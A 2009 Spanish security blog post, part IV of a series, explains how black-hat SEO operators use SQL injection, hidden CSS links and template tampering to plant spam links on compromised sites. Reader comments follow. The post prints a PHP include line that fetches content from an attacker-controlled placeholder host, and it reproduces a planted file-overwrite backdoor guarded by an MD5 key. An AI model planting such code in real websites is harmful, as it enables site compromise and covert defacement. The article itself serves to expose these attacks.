martes, noviembre 10, 2009

Técnicas SEO para gente de moral relajada [IV de VI]

**********************************************************************************************
- Técnicas SEO para gente de moral relajada [I de VI]
- Técnicas SEO para gente de moral relajada [II de VI]
- Técnicas SEO para gente de moral relajada [III de VI]
- Técnicas SEO para gente de moral relajada [IV de VI]
- Técnicas SEO para gente de moral relajada [V de VI]
- Técnicas SEO para gente de moral relajada [VI de VI]
Autores: Chema Alonso & Enrique Rando
**********************************************************************************************

Como se ha visto en las primeras partes de este artículo, las técnicas hasta el momento se han basado en utilizar sistemas de Spam más o menos automatizados, desde la inclusión de comentarios o temas de debate en foros que son auto-contestados, hasta el aprovechamiento de cualquier sitio web que permita incluir HTML para poner anuncios, como el ejemplo visto con Moodle que puede ser trasladado a cualquier otro.

Sin embargo, hay otras formas de conseguir los tan deseados hipervínculos a las páginas de los clientes, aunque esto signifique cruzar la línea de la legalidad un poco más todavía. Para ello, los “expertos en posicionamiento de sombrero negro”, los Black SEO, utilizan las técnicas hacker más conocidas para colonizar, troyanizar o cambiar el código de una página web con links a los sitios que se desea subir en el ranking.

SQL Injection

Hace un par de años que se puso de moda el uso de explotación de vulnerabilidades en páginas web con SQL Injection para introducir código script que pudiera ser utilizado en la distribución de malware [Aviso Inteco]. En ese caso se realizaban inyecciones con comandos Update que añadían código javascript a cualquier string almacenado en la página web. David Carmona hizo una presentación sobre eso en el Asegúr@IT III que tuvo lugar en Bilbao.

La idea en este caso es similar, sólo que se van a introducir links en el contenido que se publica de una página web desde base de datos. Así, es posible encontrar sitios como el este de Castilla la Mancha donde se ha introducido código con hipervínculos.


Figura 15: Web de Castilla La Mancha vulnerada

En este ejemplo, los hipervínculos están visibles para el usuario, pero los expertos en Black SEO saben que esto no es lo recomendable ya que no es estrictamente necesario. Para ello, y con el fin de evitar que los administradores descubran que su sitio web ha sido vulnerado, aprovechan las funcionalidades que oferta HTML para ocultar dichos links.

Se utilizan técnicas como poner el tamaño de la letra invisible, o usar el comando display=”none” o incluso colocar capas con links en posiciones no visibles en el marco de la página. Son trucos sencillos, pero muy eficaces. Esto se pudo comprobar en el ejemplo del Teatro Real en el que aparecían links a Viagra ocultos en su web que no eran visibles a primera vista gracias a que el atacante usaba un estilo oculto.

Es fácil encontrar ejemplos así, basta con buscar en Google algún sitio y probar con un término propenso a ser cliente de Black SEO. En este caso en la Universidad de Alcalá de Henares aparecen más de 2.000 páginas recomendando Viagra.


Figura 16: Viagra en la Universidad de Alcalá de Henares

Basta con ir a una de ellas y analizarla. Aunque a primera vista no se ve nada.


Figura 17: Aparentemente no hay ningún enlace

En el código fuente están todos los links, en este caso mediante un código script que imprime los links en una capa invisible.


Figura 18: Hipervínculos ocultos en la web

Comprobar que esta página web tiene SQL Injection es trivial, una vez colonizada de esta manera.

Cómo el uso de texto oculto es algo que los buscadores penalizan, pudiendo llegar a ser motivo de exclusión de las páginas de resultados es común que se usen técnicas de ofuscación de código para engañar a las arañas e indexadores. Todo parásito inteligente hace lo posible por no acabar con el beneficio que le ofrece su víctima.

Modificación de plantillas

Por supuesto, lo mejor es poder tener una arquitectura flexible que permita cambiar los enlaces dinámicamente. Con ese objetivo los Black SEO tratan de modificar directamente las plantillas de documentos mediante la inclusión de un fichero contralado. En ese fichero controlado se pueden ir cambiando directamente los links, lo que permitirá al Black SEO decidir que sube y que baja, simplemente, cambiando el contenido de un fichero de texto.

Para ello se buscan webs vulnerables que permitan modificar los ficheros. Las técnicas de RFI o la explotación de vulnerabilidades que permitan ejecutar comandos son las más apetecibles para estos ataques. Una vez obtenido este privilegio, sería suficiente con añadir una línea como la siguiente en la plantilla de la víctima.

[?=@file_get_contents("http://web_controlada_por_los_malos/1.txt");?]

En la imagen siguiente se puede ver uno de estos ficheros listo para inyectarse en webs vulnerables.


Figura 19: Fichero para incluir en sitios vulnerados

Con realizar una búsqueda en Google o en Bing por alguno de esos links que aparecen ene este fichero es fácil descubrir cuáles han sido los sitios vulnerados.


Figura 20: Instituto de Desarrollo Regional de la Universidad de Castilla La Mancha

Guerra de Bandas

Una vez que se tiene controlado un sitio web del que se está obteniendo tráfico y pagerank es conveniente defenderlo contra otros Black SEO de moral más relajada aun. Así es curioso descubrir como en ciertos sitios se coloniza con un fichero que le permite al atacante subir sus cambios y la vulnerabilidad utilizada se cierra frente a otros posibles atacantes.

Éste es un ejemplo de un código utilizado para sobre-escribir el fichero de inclusión de un sitio web en el que se usa un LFI, y como éste es protegido por un clave que se envía por post y se co en MD5.

[?php
$secret_key = 'sd;gij32498gjwevgfdsgvluergbw3489';
$file_to_post = 'inc.php';
if (isset($_POST['data']) && isset($_POST['secret'])) {
if (md5($secret_key) == $_POST['secret']) {
$hFile = fopen($file_to_post, 'w');
if (!$hFile) { die('error opening file'); }
if (FALSE !== fwrite($hFile, stripslashes($_POST['data'])))
{ echo 'OK'; fclose($hFile); } else { echo '### 404 ###'; }
} else { echo "### 404 ###"; }
} else { echo "### 404 ###"; }
?]


**********************************************************************************************
- Técnicas SEO para gente de moral relajada [I de VI]
- Técnicas SEO para gente de moral relajada [II de VI]
- Técnicas SEO para gente de moral relajada [III de VI]
- Técnicas SEO para gente de moral relajada [IV de VI]
- Técnicas SEO para gente de moral relajada [V de VI]
- Técnicas SEO para gente de moral relajada [VI de VI]
Autores: Chema Alonso & Enrique Rando
**********************************************************************************************

4 comentarios:

  1. Como ya dije en el post sobre los links en comentarios de blogs o foros. Estos enlaces no sirven para posicionar en Google hoy en día. O sirven muuuuuuuuuy poco y durante muuuuuuuuuuy poco tiempo. O así debería ser.

    No obstante como bien comentaste Chema el hecho de que los malos lo sigan haciendo puede arrojar dudas sobre lo depurado que está el algoritmo de Google.

    Aquí tenéis otro ejemplo, pero que en este caso sospecho que ha sido la propia empresa encargada del diseño quien se los ha colado:

    http://209.85.129.132/search?q=cache:www.albertocontador.es&hl=es&rlz=1C1GPCK_enES332ES332&sa=G&strip=1

    ResponderEliminar
  2. Por muy poca relevancia que le den a la web apuntada, lo hacen miles o millones de veces, resultados consiguen.

    Aunque personalmente creo que es mejor estrategia plantearse buscar términos nuevos para tu pagina (con un poquito de originalidad) y posicionarte legalmente por ellos, que tirarte a muerte a por la palabra Viagra.

    ResponderEliminar
  3. Hace tiempo que no entraba y cuando me doy cuenta digo "Joder si que se a pasado Chema al lado del mal"
    Despues ya me di cuenta del tema
    http://elladodelmal.blogpot.com/

    ResponderEliminar
  4. Es gracioso que los navegadores penalicen por mostrar texto oculto, porque ahora HTML5, sí que permite explotar el atributo hidden.
    Saludos!

    ResponderEliminar